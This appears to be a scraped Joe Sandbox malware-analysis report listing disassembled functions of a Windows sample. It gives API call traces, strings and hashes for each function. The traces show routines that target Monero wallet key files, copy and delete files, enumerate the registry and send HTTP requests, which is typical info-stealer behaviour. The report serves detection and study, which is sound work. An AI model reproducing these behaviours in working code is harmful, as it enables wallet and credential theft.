Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 51ad6a7052f5d6b383eca73f4d0a93c4e5904e218ee0cbb3f6c7bd363d1c7046
Instruction ID: f27bcd6213abb91ebb460cd06ca57fb424b6c04d92934ff2a033a1e7d7cec62b
Opcode Fuzzy Hash: 51ad6a7052f5d6b383eca73f4d0a93c4e5904e218ee0cbb3f6c7bd363d1c7046
Instruction Fuzzy Hash: 763252B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF6A

Function 0040A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(013F88B0,0040A7A7,?,0040A7A7,013F88B0), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A8B0

Part of subcall function 0041A820: lstrlen.KERNEL32(00404F05,?,?,00404F05,00420DDE), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(00420DDE,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

lstrcat.KERNEL32(?,00000000), ref: 0040ACEB
lstrcat.KERNEL32(?,00421320), ref: 0040ACFA
lstrcat.KERNEL32(?,00000000), ref: 0040AD0D
lstrcat.KERNEL32(?,00421324), ref: 0040AD1C
lstrcat.KERNEL32(?,00000000), ref: 0040AD2F
lstrcat.KERNEL32(?,00421328), ref: 0040AD3E
lstrcat.KERNEL32(?,00000000), ref: 0040AD51
lstrcat.KERNEL32(?,0042132C), ref: 0040AD60
lstrcat.KERNEL32(?,00000000), ref: 0040AD73
lstrcat.KERNEL32(?,00421330), ref: 0040AD82
lstrcat.KERNEL32(?,00000000), ref: 0040AD95
lstrcat.KERNEL32(?,00421334), ref: 0040ADA4
lstrcat.KERNEL32(?,00000000), ref: 0040ADB7
lstrlen.KERNEL32(?), ref: 0040AE0D
lstrlen.KERNEL32(?), ref: 0040AE1C

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 6f68e21ae614a034ef804f3688802842eac7e15a5076290e3d28f27f6a9f2be6
Instruction ID: 77b70cc11562cb3a76d80eaebe7bf0e2d809c24eea9151f765bb8ee1067cfb70
Opcode Fuzzy Hash: 6f68e21ae614a034ef804f3688802842eac7e15a5076290e3d28f27f6a9f2be6
Instruction Fuzzy Hash: 20127475951104ABDB04FBA1DD56EEE7339AF14314F50402EF407B2091DF386E5ACB6A

Function 00405960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,013FFA98), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,013FF9E8,00000000,?,013FEB68,00000000,?,00421A1C), ref: 00405E71
lstrlen.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
RtlAllocateHeap.NTDLL(00000000), ref: 00405E9A
lstrlen.KERNEL32(00000000), ref: 00405EAF
lstrlen.KERNEL32(00000000), ref: 00405ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,013FFAE8,?,013FF490,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

------, xrefs: 00405D4C
------, xrefs: 00405C0B
", xrefs: 00405E16
------, xrefs: 00405A96
", xrefs: 00405CD5

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: a6e289df8dadf918586143d5f46741a8c26960c305bfa7b607706900b21412be
Instruction ID: 112fd02d368cc50716c82d59a4a90e6e47d3c8457d78c2a6d64b204157bb0257
Opcode Fuzzy Hash: a6e289df8dadf918586143d5f46741a8c26960c305bfa7b607706900b21412be
Instruction Fuzzy Hash: DF125071821118ABCB15FBA1DC95FEE7378BF14714F50019EB10A62091DF782B9ACF69

Function 0040CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(00420E1A,013FE9B8,004205AE,?,?,004013F9,?,0000001A,00420E1A,00000000,?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcat.KERNEL32(?,00000000), ref: 0040D208
lstrcat.KERNEL32(?,00421478), ref: 0040D217
lstrcat.KERNEL32(?,00000000), ref: 0040D22A
lstrcat.KERNEL32(?,0042147C), ref: 0040D239
lstrcat.KERNEL32(?,00000000), ref: 0040D24C
lstrcat.KERNEL32(?,00421480), ref: 0040D25B
lstrcat.KERNEL32(?,00000000), ref: 0040D26E
lstrcat.KERNEL32(?,00421484), ref: 0040D27D
lstrcat.KERNEL32(?,00000000), ref: 0040D290
lstrcat.KERNEL32(?,00421488), ref: 0040D29F
lstrcat.KERNEL32(?,00000000), ref: 0040D2B2
lstrcat.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcat.KERNEL32(?,00000000), ref: 0040D2D4
lstrcat.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlen.KERNEL32(00404F05,?,?,00404F05,00420DDE), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(00420DDE,00000000), ref: 0041A885

lstrlen.KERNEL32(?), ref: 0040D32A
lstrlen.KERNEL32(?), ref: 0040D339

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(013F88B0,0040A7A7,?,0040A7A7,013F88B0), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 789f81e824a3e88df1942af63a4c71dbe3989b693699ca534c5286395a1dab98
Instruction ID: 880e5527a2c140d1293116f45bd8e574b8e3857e44b380dd1f5ee4d43504d783
Opcode Fuzzy Hash: 789f81e824a3e88df1942af63a4c71dbe3989b693699ca534c5286395a1dab98
Instruction Fuzzy Hash: 6FE17D75950108ABCB04FBE1DD96EEE7379BF14304F10005EF107B60A1DE38AA5ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,013FB9D8,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

- , xrefs: 004185A3
?, xrefs: 0041837A
%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: d992ae31c4370ba79398660ceb908c9469638050511d1de5a8af4af9992bc93a
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: d992ae31c4370ba79398660ceb908c9469638050511d1de5a8af4af9992bc93a
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,013FFA98), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,013FF490,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

ERROR, xrefs: 00406407
ERROR, xrefs: 004064C9
GET, xrefs: 0040637C

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 5188c8bd9063c1e473ec16b91b4ee0ada5b5a5a866391c26653beb4115785a29
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: 5188c8bd9063c1e473ec16b91b4ee0ada5b5a5a866391c26653beb4115785a29
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlen.KERNEL32(00404F05,?,?,00404F05,00420DDE), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(00420DDE,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlen.KERNEL32(00000000), ref: 0041532F
